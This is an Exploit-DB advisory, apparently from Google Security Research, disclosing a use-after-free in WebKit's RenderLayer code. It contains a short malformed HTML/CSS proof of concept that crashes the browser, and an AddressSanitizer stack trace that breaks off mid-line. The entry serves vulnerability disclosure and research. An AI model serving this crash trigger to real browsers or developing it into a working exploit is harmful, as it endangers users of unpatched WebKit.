Exploit-DB #45486
Description: WebKit - 'WebCore::RenderLayer::updateDescendantDependentFlags' Use-After-Free
Type: dos
Platform: multiple
Date: 2018-09-25
Author: Google Security Research

Exploit:
<!--
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of the latest WebKit source on OSX.

PoC:

=================================================================
-->

<style>
#htmlvar00005, noframes, * { diplay: inline; padding-top: 0vw; -webkit-column-count: 41; transition-delay: }
body::first-letter { box-flex-group: -webkit-background-size: contain; -webkit-opacity: 0[PII_REDACTED]79; }
#htmlvar00001, .class1 { 1vmax; display: contents; left: transform-style: inherit; -webkit-text-orientation: sideways; end }
</style>
<span class="class1" defer="defer">IYnxA?LQYP}</span>

<!--
=================================================================

ASan log:

=================================================================
==25159==ERROR: AddressSanitizer: heap-use-after-free on address 0x61200003d572 at pc 0x00065122aeac bp 0x7ffee162f750 sp 0x7ffee162f748
READ of size 6 at 0x61200003d572 thread T0
==25159==WARNING: invalid path to external symbolizer!
==25159==WARNING: Failed to use and restart external symbolizer!
    #0 0x65122aeab in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37ddeab)
    #1 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)
    #2 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)
    #3 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)
    #4 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)
    #5 0x65122851f in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37db51f)
    #6 0x6512281cf in WebCore::RenderLayer::updateLayerPositionsAfterLayout(WebCore::RenderLayer const*, unsigned int) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37db1cf)
    #7 0x650996886 in WebCore::FrameView::didLayout(WTF::WeakPtr<WebCore::RenderElement>) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f49886)
    #8 0x65098ad2e in WebCore::FrameViewLayoutContext::layout() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f3dd2e)
    #9 0x6509a3ea2 in WebCore::FrameView::updateContentsSize() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f56ea2)
    #10 0x650b551e3 in WebCore::ScrollView::updateScrollbars(WebCore::IntPoint const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31081e3)
    #11 0x650b57a0f in WebCore::ScrollView::setContentsSize(WebCore::IntSize const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x310aa0f)
    #12 0x65099048b in WebCore::FrameView::setContentsSize(WebCore::IntSize const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f4348b)
    #13 0x650986fc6 in WebCore::FrameView::adjustViewSize() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f39fc6)
    #14 0x65098ac39 in WebCore::FrameViewLayoutContext::layout() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f3dc39)
    #15 0x64fe9a989 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x244d989)
    #16 0x650791f77 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d44f77)
    #17 0x6507901bc in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d431bc)
    #18 0x64febd9b2 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x24709b2)
    #19 0x6504e5e24 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a98e24)
    #20 0x65077670b in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d2970b)
    #21 0x65073fdeb in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2cf2deb)
    #22 0x650882097 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions